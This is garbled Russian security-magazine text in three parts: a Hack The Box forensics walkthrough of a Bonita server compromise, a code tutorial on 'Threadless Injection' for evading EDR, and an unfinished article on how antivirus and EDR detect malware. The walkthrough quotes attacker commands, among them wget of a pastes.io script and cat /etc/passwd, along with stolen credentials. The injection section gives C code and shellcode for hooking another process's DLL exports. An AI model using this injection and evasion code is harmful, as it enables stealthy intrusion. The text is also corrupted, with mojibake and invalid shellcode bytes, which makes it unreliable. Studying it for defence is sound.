ÎÏÐÅÄÅËÅÍÈÅ ÎÑÍÎÂÍÛÕ IP-ÀÄÐÅÑÎÂ

Пер вый воп рос:

« »Ìû ñ÷è òàåì, ÷òî íàø ñåð âåð ïëàò ôîðìû óïðàâëå íèÿ áèç íåñîì áûë
ñêîì ïðî ìåòè ðîâàí. Ìîæåòå ëè âû íàç âàòü çàïóùåí íîå ïðè ëîæå íèå?

Ком пания исполь зует какое-то решение для управле ния биз несом и подоз- 
рева ет, что оно и было ском про мети рова но. Что бы узнать, какая имен но
плат форма исполь зовалась, про ведем пер вичный ана лиз pcap-фай ла.

Пер вым делом прос мотрим конеч ные точ ки под клю чений по TCP в раз- 
деле «Ста тис тика» и отсорти руем спи сок по пакетам.

Вид но, что IP-адрес 172.31.6.44 получа ет боль шую часть про ходя щего тра- 
фика через сле дующие пор ты: 37022, 8080, 61254, 61255 и 22.

Пор ты, зарезер вирован ные под опре делен ные служ бы:
8080 — HTTP;•
22 — SSH;•
37022 — TCP-порт для переда чи дан ных.•

Ис ходя из это го, мож но пред положить, что плат форма управле ния —
это веб-сер вер.

Про верим HTTP-тра фик с помощью прос того филь тра: .http.request

Пер вое, что мы видим, — это GET-зап рос к веб-сер веру. Если нем ного погуг- 
лить, мож но узнать, что зап рос  свя зан с ПО

Bonitasoft, которое пред лага ет решения и плат формы для управле ния биз- 
несом. Дела ем вывод, что одна из этих прог рамм и исполь зует ся в ком пании.

GET /bonita HTTP/1.1

ÈÙÅÌ ÒÎ×ÊÓ ÂÕÎÄÀ, ÂÐÅÌß ÍÀ×ÀËÀ ÀÒÀÊÈ È ÝÊÑÏËÓÀÒÀÖÈÈ

Вто рой воп рос:

« »Ìû ïîëàãà åì, ÷òî çëî óìûø ëåííèê, âîç ìîæíî, èñïîëü çîâàë âàðè àöèþ
àòà êè ìåòîäîì ïåðåáî ðà. Êàê íàçûâà åòñÿ ïðî âåäåí íàÿ àòà êà?

От филь тру ем тра фик, задав филь тр . Видим, что у нас под ряд

идет мно го POST-зап росов  от IP-адре-

са 156.146.62.213. Если под робнее изу чить каж дый пакет, то вид но, что логин
и пароль от одно го к дру гому меня ются. Похоже, зло умыш ленник исполь зует
ата ку методом под бора, то есть брут форс.

http.requset
/bonita/loginservice

При этом под бира емые дан ные для вхо да не берут ся из обще дос тупных сло- 
варей вро де . Вмес то это го исполь зует ся опре делен ный набор
дан ных. Это зна чит, что зло умыш ленник при меня ет Credential Stuffing.

rockyou.txt

Credential Stuffing — это тип ата ки, при которой зло умыш ленник исполь- 
зует заранее получен ную (обыч но в резуль тате утеч ки у какого-то круп ного
сер виса) базу дан ных логинов и паролей и переби рает их в надеж де, что они
подой дут к дру гой служ бе. При ата ке час то исполь зует ся бот нет, что бы авто- 
мати зиро вать про цесс под бора и замас кировать его под неп римеча тель ный
тра фик.

По иск отве та на тре тий воп рос поможет нам углу бить понима ние ата ки.

« »Èìå åò ëè ýêñ ïëó àòè ðóåìàÿ óÿç âèìîñòü ïðèñ âîåí íûé CVE — è åñëè äà,
òî êàêîé?

Мож но поп робовать поис кать в базе дан ных  соот ветс тву ющие нашему
виду ата ки уяз вимос ти для веб-сер вера Bonita с номером CVE. Либо мы
можем обра тить ся к нашему фай лу JSON с сооб щени ями, пос тупив шими
от средств обна руже ния и реаги рова ния. Встре тив зна комые сиг натуры, они
обыч но сооб щают и пред полага емый номер CVE, соот ветс тву ющий угро зе.
Откры ваем получен ный в задании JSON любым удоб ным спо собом и ищем
CVE.

MITRE

На ходим стро ку с пре дуп режде нием об ата ке, которая содер жит ее точ ное
наз вание: CVE-2022-25237.

Имея точ ный номер CVE, мы можем боль ше узнать об экс пло ите, что поз- 
волит отве тить и на чет вертый воп рос:

« »Êà êàÿ ñòðî êà áûëà äîáàâ ëåíà ê URL-àäðå ñó API äëÿ îáõî äà ôèëü òðà
àâòî ðèçà öèè ñ ïîìîùüþ ýêñ ïëî èòà çëî óìûø ëåííè êà?

Про читать опи сание уяз вимос ти мож но на любом сай те, к при меру на том же
MITRE CVE.

Най ден ный экс пло ит под ходит для сер веров Bonita Web 2021.2 и пред назна- 
чен для обхо да аутен тифика ции или авто риза ции. Работа ет он бла года ря
недос таточ но стро гому шаб лону, который исполь зует ся в фун кции

. Добавив  в конец URL,

зло умыш ленник может получить дос туп к при виле гиро ван ным эндпо интам
API, что потен циаль но даст воз можность уда лен ного выпол нения кода и зло- 
упот ребле ния при виле гиями.

RestAPIAuthorizationFilter ;i18ntranslation

От ветом на пятый воп рос будет точ ное количес тво попыток под бора вход- 
ных дан ных:

« »Ñêîëü êî êîì áèíàöèé èìåí ïîëü çîâàòå ëåé è ïàðîëåé áûëî èñïîëü- 
çîâàíî â àòà êå ñ ïîä ñòà íîâ êîé ó÷åò íûõ äàí íûõ?

Смот рим тра фик с филь тром  еще раз, счи таем все неудач ные попыт ки

вхо да, которые име ют код 401, и получа ем все го 56 ком бинаций.

http

Шес той воп рос:

« »Êà êàÿ êîì áèíàöèÿ èìå íè ïîëü çîâàòå ëÿ è ïàðîëÿ îêà çàëàñü óñïåøíîé?

Пос ле всех POST-зап росов и отве тов сер вера с кодом ошиб ки 401 сле дует
единс твен ный зап рос с HTTP-ста тусом 204. Это зна чит, что зап рос был
успешно обра ботан. Смот рим фор му пакета и видим под ходящие дан ные
для вхо да. Имя поль зовате ля: , пароль:

.
seb.broom@forela.co.uk

g0vernm3nt

ÈÙÅÌ ÇÀÊÐÅÏËÅÍÈß Â ÑÈÑÒÅÌÅ

Пой дем даль ше по филь тро ван ному тра фику. Вид но, что зло умыш ленник
отправ ляет POST-зап рос сер веру и заг ружа ет архив 

.

rce_api_extension.
zip

Пос ле успешной заг рузки (код отве та 200) мы видим GET-зап рос, содер- 
жащий коман ду  в парамет ре . В ответ сер вер при сыла ет JSON
с информа цией о том, что зло умыш ленник получил root-пра ва к сер веру.

whoami cmd

За тем заг ружен ный файл уда ляет ся с сер вера — видимо, зло умыш ленник
решил замес ти сле ды. И сле дом идет пов торный брут форс вход ных дан ных,
пока зло умыш ленни ку не уда ется успешно вой ти в сис тему. Потом он меня ет
IP-адрес на 138.199.59.221: ско рее все го, наш хакер вклю чил VPN или под- 
клю чил ся с машины одно го из сво их ботов.

Седь мой воп рос:

« »Åñ ëè òàêîâîé èìå åòñÿ, êàêîé ñàéò äëÿ îáìå íà òåê ñòî âûìè ñîîá ùåíè-
ÿìè èñïîëü çîâàë çëî óìûø ëåííèê?

Цикл заг рузки zip-архи ва пов торя ется, одна ко в этот раз хакер выпол няет
дру гую коман ду: , то есть хочет пос мотреть логины всех
поль зовате лей сис темы и информа цию по каж дой учет ной записи. Затем
сно ва уда ляет заг ружен ный файл.

cat /etc/passwd

Бе жим по дам пу тра фика даль ше и видим, что зло умыш ленник сно ва вхо дит
в сис тему, заг ружа ет zip-архив и через GET-зап рос отправ ляет сер веру такую
коман ду:

wget \https://pastes.io/raw/bx5gcr0et8 

Сно ва обра щаем ся к поис ковой стро ке и узна ём, что pastes.io — это сер вис
для обме на тек сто выми сооб щени ями. Выходит, зло умыш ленник исполь- 
зовал его, что бы что-то передать на ата куемый сер вер.

Нез накомые и подоз ритель ные ссыл ки рекомен- 
дует ся откры вать в вир туаль ных сре дах, что бы
обе зопа сить свою сис тему от зараже ния.

В обновлен ной вер сии этой лабора тор ной работы по неиз вес тным при чинам
пос ле седь мого воп роса идет девятый, ско рее все го, в будущем это испра- 
вят.

Де вятый и десятый воп росы:

«
»

Óêà æèòå èìÿ ôàé ëà îòêðû òîãî êëþ ÷à, êîòîðûé çëî óìûø ëåííèê èñïîëü- 
çîâàë äëÿ ñîõ ðàíåíèÿ íà íàøåì õîñ òå.

Ìî æåòå ëè âû óêà çàòü, êàêîé ôàéë èçìå íèë çëî óìûø ëåííèê
äëÿ çàê ðåïëå íèÿ â ñèñ òåìå?

В вир туаль ной сре де перехо дим по ссыл ке из коман ды  и узна ём, что же

там переда вал зло умыш ленник. Это bash-скрипт.

wget

Этот скрипт заг ружа ет ключ , содер жащий ся в фай ле из ссыл ки

, в  на сер- 
вере и переза пус кает служ бу SSH, что поз воля ет под клю чать ся к веб-сер веру
через SSH и надеж но зак репить ся в сис теме.

ssh-rsa
https://pastes.io/raw/hffgra4unv /.ssh/authorized_keys

Один надца тый воп рос:

« »Ìî æåòå ëè âû óêà çàòü èäåí òèôèêà òîð ìåòîäà MITRE äëÿ ýòî ãî òèïà
çàê ðåïëå íèÿ â ñèñ òåìå?

Для отве та обра тим ся к мат рице атак . Выбира ем раз дел
Persistence и находим в нем под раздел Account Manipulation.

ATT&CK MITRE

Мы зна ем, что зло умыш ленник зак репил ся в сис теме, заг рузив свой ключ
SSH, и изме нил файл . В нем хра нят ся записи о клю чах

SSH, которые мож но исполь зовать для вхо да в учет ку поль зовате ля. Этот
файл обыч но находит ся в домаш нем катало ге:

authorized_keys

<user-home>/.ssh/authorized_keys 

Ког да зло умыш ленник добав ляет свой ключ в , он в даль- 

нейшем может получить дос туп к хос ту по SSH от име ни ском про мети рован- 
ного поль зовате ля.

authorized_keys

Та кой метод ата ки в мат рице MITRE носит наз вание 
и име ет ID T1098.004.

SSH Authorized Keys

ÏÎÑÒÝÊÑÏËÓÀÒÀÖÈß

В прин ципе, лабора тор ная работа уже счи тает ся выпол ненной, одна ко файл
.pcap содер жит еще нес коль ко деталей.

Пос ле зак репле ния в сис теме из нее уже тра дици онно сти рают ся сле ды
ком про мета ции, но теперь с IP-адре са 54.144.148.213 про исхо дит заг рузка
deb-пакета, который содер жит в себе Nmap.

Од новре мен но с этим пос ле получе ния дос тупа на SSH при ходит новый тра- 
фик, но с дру гого IP-адре са — 95.181.232.30. Пос мотреть, что про исхо дит,
мож но с помощью филь тра .tcp.port == 22

Со пос тавля ем вре мен ные рам ки и догады ваем ся, что имен но с это го
адре са и была подана коман да сер веру заг рузить deb-пакет.

Да лее, пос ле успешной заг рузки Nmap, вид но, что начина ется про вер ка
пор тов IP-адре са 34.207.150.13.

Пос ле чего завер шает ся SSH-соеди нение и прек раща ется запись тра фика.

ÂÛÑÒÐÀÈÂÀÅÌ ÒÀÉÌËÀÉÍ ÀÒÀÊÈ

Нам нуж но обоб щить все най ден ные при рас сле дова нии арте фак ты, что даст
нам пол ное пред став ление об инци ден те.

В начале ата ки с IP-адре са 172.31.6.44 с помощью метода Credential
Stuffing был получен дос туп к сер веру менед жмен та. Зло умыш ленник вошел
в сис тему с логином  и паролем .seb.broom@forela.co.uk g0vernm3nt

Да лее хакер получил дос туп к при виле гиро ван ному API c помощью уяз- 
вимос ти CVE-2022-25237 в Bonita Web 2021.2 и заметал за собой сле ды, уда- 
ляя заг ружен ный на веб-сер вер zip-архив . Пов торяя

эту ата ку, он отпра вил на сер вер коман ды  и , что
поз волило ему узнать некото рую информа цию о поль зовате лях и про верить
наличие root-прав.

rce_api_extension.zip
whoami cat /etc/passwd

За тем зло умыш ленник с помощью сер виса обме на тек сто выми сооб- 
щени ями pastes.io, уже с IP-адре са 138.199.59.221, запус тил на сер вере
bash-скрипт, изме няющий файл с RSA-клю чами 

и поз воля ющий зак репить ся в сис теме через SSH (под техни ка SSH Authorized
Keys T1098.004).

/.ssh/authorized_keys

Сра зу пос ле получе ния пос тоян ного дос тупа к веб-сер веру зло умыш- 
ленник под клю чил ся к нему по SSH c IP-адре са 95.181.232.30 и выпол нил
на сер вере коман ду для заг рузки deb-пакета, вклю чающе го в себя Nmap.

Да лее, исполь зуя заг ружен ную ути литу, зло умыш ленник ска ниро вал пор ты
IP-адре са 34.207.150.13, пос ле чего разор вал SSH-соеди нение.

ÂÛÂÎÄÛ

Итак, мы успешно выпол нили задание Meerkat из раз дела Sherlocks плат- 
формы Hack The Box. В ходе рас сле дова ния ты дол жен был получить навыки
работы с Wireshark, а так же вжи вую уви деть, как работа ет ата ка Credential
Stuffing и как выг лядит зак репле ние в сис теме при помощи добав ления клю ча
SSH. Отве тив на все воп росы лабора тор ной работы, мы так же пос тро или тай- 
млайн событий, что было бы необ ходимо при рас сле дова нии реаль ного
инци ден та.

mailto:uragepb@gmail.com
https://app.hackthebox.com/sherlocks/Meerkat
https://www.hackthebox.eu/
https://app.hackthebox.com/sherlocks
https://cve.mitre.org/
https://attack.mitre.org/
https://attack.mitre.org/techniques/T1098/004/
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ВЗЛОМ

Се год ня мы погово рим о тех нике инъ екции
в сто рон ний про цесс, которая называ ется
Threadless Injection. На момент написа ния
статьи она работа ла на Windows 11 23H2
x64 с акти виро ван ными средс тва ми защиты
ОС на изо лиро ван ной от сети вир туаль ной
машине.

Чи тай так же мою , где я
показы вал, как устро ена и как реали зует ся тех- 
ника инжекта под наз вани ем Process Ghosting.

пре дыду щую статью

Итак, давай вспом ним, как про исхо дит стан дар тная инъ екция шелл-кода
с пос леду ющим его выпол нени ем.
1. По луче ние дес крип тора про цес са (  и ).OpenProcess NtOpenProcess

2. Вы деле ние памяти для полез ной наг рузки (
и ).

VirtualAllocEx

NtMapViewOfSection

3. За пись полез ной наг рузки в эту память (  и 
).

WriteProcessMemory Ghost 

Writing

4. Вы пол нение шелл-кода (  и ).CreateRemoteThread NtQueueApcThread

Эта пос ледова тель ность хорошо извес тна всем средс твам EDR, и если
какое-то ПО ее реали зует, то сра зу будет крас ный флаг и завер шение про- 
цес са.

Нель зя ли все это написать таким обра зом, что бы дей ствия выпол нялись
те же, но без пря мого исполь зования перечис ленных фун кций WinAPI? С пер- 
выми шагами такое про делать мож но, но с выпол нени ем шелл-кода все
не так прос то. Пря мой вызов фун кций

/  даст алерт EDR с веро- 
ятностью 100%.
CreateRemoteThread NtQueueApcThread

Сло вом, что бы обвести защиту вок руг паль ца, нам надо сло мать эту пос- 
ледова тель ность. Нап ример, почему бы не перех ватить какие-нибудь вызовы
API в сто рон нем при ложе нии, в экспор тиру емой фун кции DLL и потом зас- 
тавить эту фун кцию работать на нас?

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

Нап ример, мож но про пат чить фун кции работы с сетью какого-нибудь
легитим ного ПО, которое и так работа ет с сетью, и исполь зовать их для свя зи
со сво ими сетевы ми ресур сами! В этом и сос тоит смысл тех ники Threadless
Injection — про пат чить экспортные фун кции исполь зуемой про цес сом
динами чес кой биб лиоте ки, что бы при их вызове запус кался наш код.
По шагам это выг лядит при мер но вот так:
1. Най ти область памяти , которая смо жет вмес тить наш шелл-код

и трам плин.
code cave

2. За писать шелл-код и трам плин в эту память.
3. Про пат чить экспор тиру емую фун кцию DLL, нас тро ив ее на запуск нашего

кода.
4. По дож дать вызова этой фун кции, что бы шелл-код выпол нился.

Но в динами чес ких биб лиоте ках могут быть сот ни и тысячи фун кций, и не
факт, что ран домно выб ранная нам подой дет. Ведь нет никаких гаран тий, что
она будет выз вана в разум ное для нас вре мя или вооб ще будет выз вана.

Что бы решить этот воп рос, нуж но про вес ти неболь шое иссле дова ние ПО,
в котором мы собира емся реали зовы вать такой перех ват экспортной фун- 
кции. В иде аль ном слу чае нуж но най ти при ложе ние, которое вызыва ет
какие-то фун кции DLL регуляр но: нап ример, обра щает ся к сво ему вре мен- 
ному фай лу на дис ке и записы вает в него про межу точ ные резуль таты сво ей
работы или про веря ет дос тупность сво их сер веров в сети, вызывая соот ветс- 
тву ющие API с опре делен ным про межут ком вре мени. Если най ти такие фун- 
кции, то мож но быть уве рен ным, что вызов точ но про изой дет.

Но не сле дует зло упот реблять этим пра вилом: если при ложе ние вызыва ет
API слиш ком час то (нап ример, нес коль ко раз в секун ду) и ты захочешь перех- 
ватить вызов, то неиз бежны раз ные глю ки.

Что бы про вес ти подоб ное иссле дова ние, вос поль зуем ся прог раммой 
. В этой же прог рамме мы смо жем уви деть, как в реаль ном вре мени

про исхо дит вызов WinAPI, какие дей ствия в инте ресу ющей нас прог рамме
на это вли яют. Кро ме того, мож но уви деть, какие DLL при цеп лены к про цес су
и какие API они реали зуют (то есть это не прос то спи сок WinAPI непонят но
отку да). Исхо дя из дан ных монито рин га, мы дол жны решить для себя, какую
фун кцию из экспор та исполь зуемой биб лиоте ки перех ватывать.

API
Monitor

При мер исполь зования прог раммы API Monitor для прос мотра вызыва -
емых фун кций WinAPI

Пос ле того как подопыт ная прог рамма иссле дова на и нуж ные WinAPI выяв- 
лены, мож но начинать кодить.

ÊÎÄÈÌ

В начале статьи мы обоз начили шаги, которые нуж но сде лать для реали зации
Threadless Injection, теперь приш ло вре мя реали зовать каж дый шаг в коде.

Сна чала нам нуж но получить хендл целево го про цес са по его име ни:

   HANDLE hProc = NULL;
 LPCWSTR ps_name;

 DWORD *procID;

 PROCESSENTRY32 pe32;
  pe32.dwSize = sizeof(PROCESSENTRY32);

    HANDLE process_snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
;

   if (!process_snap) return NULL;

   if (Process32First(process_snap, &pe32)) {
    do {

            if (_wcsicmp(pe32.szExeFile, ps_name) == 0) {

             *procID = pe32.th32ProcessID;
               hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, *procID);

             if (!hProc) continue;

            return hProc;
       }
      } while (Process32Next(process_snap, &pe32));
}

Да лее заг ружа ем выб ранную динами чес кую биб лиоте ку, содер жащую
в экспор те фун кцию API, с которой мы хотим порабо тать. Пусть этой биб- 
лиоте кой будет .kernelbase.dll

      HMODULE hModule = GetModuleHandleW(L"kernelbase.dll");

      if (hModule == NULL)
         hModule = LoadLibraryW(L"kernelbase.dll");

Те перь получа ем адрес нашей API в DLL:

 // victim_export_func — функция из экспорта kernelbase.dll, 
которая подвергнется установке хука
       void* dll_export_fun_addr = GetProcAddress(hModule,
victim_export_func);

        if (dll_export_fun_addr == NULL) return 1;

Ищем code cave — область, куда мож но записать наши дан ные:

     UINT_PTR addr_of_codecave;
    uint64_t function_addr;
    BOOL gotchaCave;

 // Начало поиска
          for (addr_of_codecave = (function_addr & 0xFFFFFFFFFFF70000) -
0x70000000;
     // Диапазон адресов

           addr_of_codecave < function_addr + 0x70000000;
       // Шаг, которым мы листаем память

         addr_of_codecave += 0x10000)
   {

          LPVOID lpAddr = VirtualAllocEx(hProc,
               addr_of_codecave,
               size,

                 MEM_COMMIT | MEM_RESERVE,
               PAGE_EXECUTE_READWRITE);

           if (lpAddr == NULL) continue;

         gotchaCave = TRUE;
       break;
   }

        if (gotchaCave == TRUE) return addr_of_codecave;

Те перь пой дут манипу ляции с трам пли ном и дру гая ариф метика. Что бы было
понят но, обоз начим трам плин и пей лоад. Пей лоад — обыч ный, который
встре чает ся пов сюду в демонс тра цион ных PoC и запус кает каль кулятор. Что
каса ется трам пли на, в него вхо дит балан сиров ка сте ка, сох ранение и вос ста- 
нов ление регис тров пос ле вызова пей лоада:

    unsigned char tramp_to_shellcode[] = {
            0x58, 0x48, 0x83, 0xE8, 0x05, 0x50,
            0x51, 0x52, 0x41, 0x50, 0x41, 0x51,
            0x41, 0x52, 0x41, 0x53, 0x48, 0xB9,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x48, 0x89, 0x08, 0x48,
            0x83, 0xEC, 0x40, 0xE8, 0x11, 0x00,
            0x00, 0x00, 0x48, 0x83, 0xC4, 0x40,
            0x41, 0x5B, 0x41, 0x5A, 0x41, 0x59,
            0x41, 0x58, 0x5A, 0x59, 0x58, 0xFF,
        0xE0, 0x90

};

    unsigned char shellcode[] = {
            0x53, 0x56, 0x57, 0x55, 0x54, 0x58,
            0x66, 0x83, 0xE4, 0xF0, 0x50, 0x6A,
            0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C,
            0x63, 0x54, 0x59, 0x48, 0x29, 0xD4,
            0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B,
            0x76, 0x18, 0x48, 0x8B, 0x76, 0x10,
            0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48,
            0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C,
            0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74,
            0x1x, 0x20, 0x48, 0x01, 0xFE, 0x8B,
            0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C,
            0x1x, 0x8D, 0x52, 0x02, 0xAD, 0x81,
            0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45,
            0x7x, 0xEF, 0x8B, 0x74, 0x1F, 0x1C,
            0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE,
            0x4x, 0x01, 0xF7, 0x99, 0xFF, 0xD7,
            0x48, 0x83, 0xC4, 0x68, 0x5C, 0x5D,
          0x5x, 0x5E, 0x5B, 0xC3

};

Да лее чита ем начало экспор тиру емой из DLL фун кции и нас тра иваем
при помощи получен ных дан ных трам плин:

      int64_t originalBytes = *(int64_t*)dll_export_fun_addr;
 // Трамплин не повреждается — в нем по этому смещению место 
зарезервировано нулями
       *(uint64_t*)(tramp_to_shellcode + 0x12) = originalBytes;

Те перь нас тра иваем память и даем ей пра ва 

для уста нов ки хука:

PAGE_EXECUTE_READWRITE

   DWORD saveProtectFlags = 0;
    

   
if (!VirtualProtectEx(hProc, dll_export_fun_addr, 8,
PAGE_EXECUTE_READWRITE, &saveProtectFlags)) return 1;

Соз даем хук ( ) в экспортной фун кции ата куемой биб лиоте ки и нас тра- 

иваем его:

call

// Опкод функции call
          unsigned char call_opcode_to_shell[] = { 0xe8, 0, 0, 0, 0 };

       int call_addr = (remoteAddress - ((UINT_PTR)dll_export_fun_addr + 5))
;

// Настраиваем вызов
    *(int*)(call_opcode_to_shell + 1) = call_addr;

Да лее закан чива ем записы вать трам плин и полез ную наг рузку, а затем меня- 
ем атри буты целевой памяти сна чала на , потом

обратно на , ког да работа будет выпол нена:

PAGE_EXECUTE_READWRITE
PAGE_EXECUTE_READ

   VirtualProtectEx(hProc,
           call_opcode_to_shell,
           sizeof(call_opcode_to_shell),
           PAGE_EXECUTE_READWRITE,
           NULL);

    if (!WriteProcessMemory(hProc,
           dll_export_fun_addr,
           call_opcode_to_shell,
           sizeof(call_opcode_to_shell),
           &numOfWrittenBytes))
    return 1;

       unsigned char mypayload[sizeof(tramp_to_shellcode) + sizeof(
shellcode)];

 // В этих двух циклах создаем один большой пейлоад из шелл-кода и 
трамплина
           for (size_t x = 0; x < sizeof(tramp_to_shellcode); ++x)

         mypayload[i] = tramp_to_shellcode[i];

           for (size_t x = 0; x < sizeof(shellcode); ++x)
           mypayload[sizeof(shellcode) + i] = shellcode[i];

 // Меняем флаги доступа к памяти для проведения записи
    if (!VirtualProtectEx(hProc,
           remoteAddress,
           sizeof(mypayload),
           PAGE_READWRITE,
           &saveProtectFlags))
    return 1;

 // Записываем полезную нагрузку
    if (!WriteProcessMemory(hProc,
           remoteAddress,
           mypayload,
           sizeof(mypayload),
           &numOfWrittenBytes))
    return 1;

 // Возвращаем права доступа к памяти обратно
    if (!VirtualProtectEx(hProc,
           remoteAddress,
           sizeof(mypayload),
           PAGE_EXECUTE_READ,
           &saveProtectFlags))
    return 1;

Пос ле выпол нения всех шагов оста ется толь ко ждать, пока при ложе ние
вызовет про пат ченную фун кцию. Но ждать дол го не при дет ся, мы ведь
исполь зовали монитор фун кций WinAPI и убе дились, что API, которая под вер- 
глась модифи кации, вызыва ется регуляр но.

ÂÛÂÎÄÛ

Се год ня ты узнал, как реали зует ся тех ника внед рения и исполне ния кода
Threadless Injection, то есть без явно го вызова фун кций соз дания потока.
Это лома ет при выч ный шаб лон инжектов, что поз волит нашему уйти от детек- 
та и про дол жить работать.

Ко неч но, написан ный выше код — это все го лишь демонс тра ция и некий
шаб лон, который мож но зна читель но улуч шать, что бы добить ся еще более
надеж ной невиди мос ти. Кро ме того, эта тех ника не панацея и не сереб ряная
пуля, которая сде лает код пол ностью скры тым: все тех ники (инжекта, вызова
API, обфуска ции кода и про чие) нуж но исполь зовать сов мес тно, а не по оди- 
ноч ке, тог да у ред тимеров будет шанс победить!

mailto:xtahi0nix@gmail.com
https://xakep.ru/2024/03/15/process-ghosting/
https://en.wikipedia.org/wiki/Code_cave
http://www.rohitab.com/apimonitor
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ВЗЛОМ

В «Хакере» час то обсужда ется скры тие
про цес сов и сис темных вызовов, обфуска- 
ция кода и про чие спо собы обхо да AV/EDR.
Но что, если ты хочешь не толь ко сле довать
инс трук циям, но и самос тоятель но искать
такие тех ники? Для это го нуж но
как минимум понимать общие прин ципы
работы анти виру сов и EDR. Эти прин ципы
мы и обсу дим.

В статье про  я вкрат це опи сал, как работа ют сис темы EDR,
а в этой поп робую более под робно рас ска зать о том, как EDR ловят злоб ный
код, и нем ного о том, как эти методы обхо дят соз датели мал вари и пен- 
тестер ских инс тру мен тов.

Process Ghosting

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

ÑÒÀÒÈ×ÅÑÊÈÅ ÑÈÃÍÀÒÓÐÛ

Это самый прос той и ста рый метод обна руже ния мал вари. На раз ных эта пах
сво его раз вития сиг натур ный метод обна руже ния пред став лял собой прос то
спи сок кон троль ных сумм вре донос ных фай лов, с которым све рял ся про веря- 
емый обра зец. Такой метод быс тро изжил себя, ведь что бы изме нить кон- 
троль ную сум му фай ла, дос таточ но малей шей прав ки в нем.

Со вре менем сиг натур ный метод обна руже ния пре тер пел некото рые
изме нения: ска жем, сегод ня впол не могут исполь зовать ся бай товые пос- 
ледова тель нос ти, и не толь ко ста тич ные, но и пла вающие. Нап ример, вот так
выг лядит детек тиру ющая пос ледова тель ность YARA-скрип та для одно го
из тво рений груп пы Lazarus:

$scan_1 = { d1 ?? 33 ?? fc 81 ?? ff 00 00 00 c1 ?? 17 } 

Здесь пред став лена как раз пла вающая бай товая сиг натура: на мес те зна ков
воп роса могут быть любые бай ты, но детект все рав но сра бота ет.

Сиг натуры могут вклю чать в себя не толь ко шес тнад цатерич ные бай товые
пос ледова тель нос ти, но и стро ки, встре чающиеся в мал вари:

$scan_2 = "%s\\~%d.tmp" wide ascii 

Кро ме того, под детект могут попасть кон троль ные сум мы таб лицы импорта
или, нап ример, Rich-сиг натуры. Сло вом, все, что может однознач но говорить,
что перед нами имен но иско мый файл, а не какой-то дру гой. Подоб ные сиг- 
натуры таким же спо собом мож но искать в памяти. Сегод ня этот метод ска- 
ниро вания час то работа ет в связ ке с дру гими метода ми обна руже ния мал- 
вари.

Нап ример, упа ков щики или про тек торы! Они могут:
ме нять набор импортов и бай товые пос ледова тель нос ти;•
встав лять в код мал вари свои кодовые анти отла доч ные бло ки, содер- 
жащие длин ные цик лы или вызовы фун кций WinAPI;

•

шиф ровать код и рас шифро вывать его толь ко в памяти, в том чис ле кус- 
ками (рас шифро вали → выпол нили кусок → зашиф ровали обратно → рас- 
шифро вали сле дующий кусок и так далее);

•

прев ратить код в пос ледова тель ность пи-кода для сво ей вир туаль ной
машины;

•

ме нять энтро пию зашиф рован ных дан ных мал вари;•
де лать мно гие дру гие изме нения в фай ле.•

ÑÊÀÍÈÐÎÂÀÍÈÅ ÏÀÌßÒÈ

Ска ниро вание памяти тоже час то исполь зует ся средс тва ми EDR, но работа ет
оно не пос тоян но (из-за опти миза ций про изво дитель нос ти), а час то запус- 
кает ся из-за ком про мети рующих пос ледова тель нос тей дей ствий, нап ример:

заг рузка опре делен ных биб лиотек;•
вы пол нение опре делен ной пос ледова тель нос ти WinAPI;•
за пись дан ных в память (свою или чужую);•
за пись дан ных в опре делен ные клю чи реес тра.•

Дру гими сло вами, ска ниро вание час то запус кает ся по сиг налу от поведен- 
ческо го ана лиза тора, который наб люда ет дос таточ ное количес тво негатив- 
ных фла гов в поведе нии про цес са.

В свою оче редь, вре донос ное ПО час то исполь зует шиф рование в качес- 
тве про тиво ядия от ска ниро вания памяти: шиф рование может быть
как целого обра за, так и фраг мента ми с пос леду ющим исполне нием. Кро ме
того, шиф ровать ся может не толь ко сам исполня емый файл или шелл-код
целиком, но и стро ки, которые могут выз вать подоз рение ска нера. Нап ример,
некото рые вир мей керы прос то ука зыва ют в сво ем коде пря мым тек стом
что-то такое:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 

А потом удив ляют ся, почему что-то идет не так!
При этом нель зя полагать ся на шиф рование методом XOR: ког да-то

это было популяр но и мод но (работа ет быс тро и реали зует ся на раз), но сей- 
час подоб ные вещи лег ко детек тятся теми же пра вила ми YARA. Зато работе
EDR по-преж нему меша ет шиф рование .Heap

Кро ме стан дар тных бай товых пос ледова тель нос тей, харак терных, к при- 
меру, для шелл-кодов, EDR могут смот реть и на атри буты стра ниц памяти.
Как извес тно, память может быть чита емой (read, R), записы ваемой (write, W)
или исполня емой (execute, X). И если память выделя ется с атри бута ми RWX,
то это авто мати чес ки обра тит на себя вни мание EDR, потому что при нор- 
маль ном выпол нении такие атри буты выда ются очень ред ко и толь ко спе- 
цифи чес кому соф ту.

ÒÐÀÑÑÈÐÎÂÊÀ ÑÎÁÛÒÈÉ WINDOWS ETW

Час то средс тва EDR опи рают ся на трас сиров ку событий ETW, которая поз- 
воля ет получать весь ма деталь ную информа цию о запус ке фун кций WinAPI,
про цес сах, драй верах и подоб ных вещах. Сам механизм трас сиров ки рас- 
полага ется как в режиме ядра, так и в режиме поль зовате ля в фай ле 

 (фун кции  и ).

ntdll.
dll EtwEventWrite EtwEventWriteFull

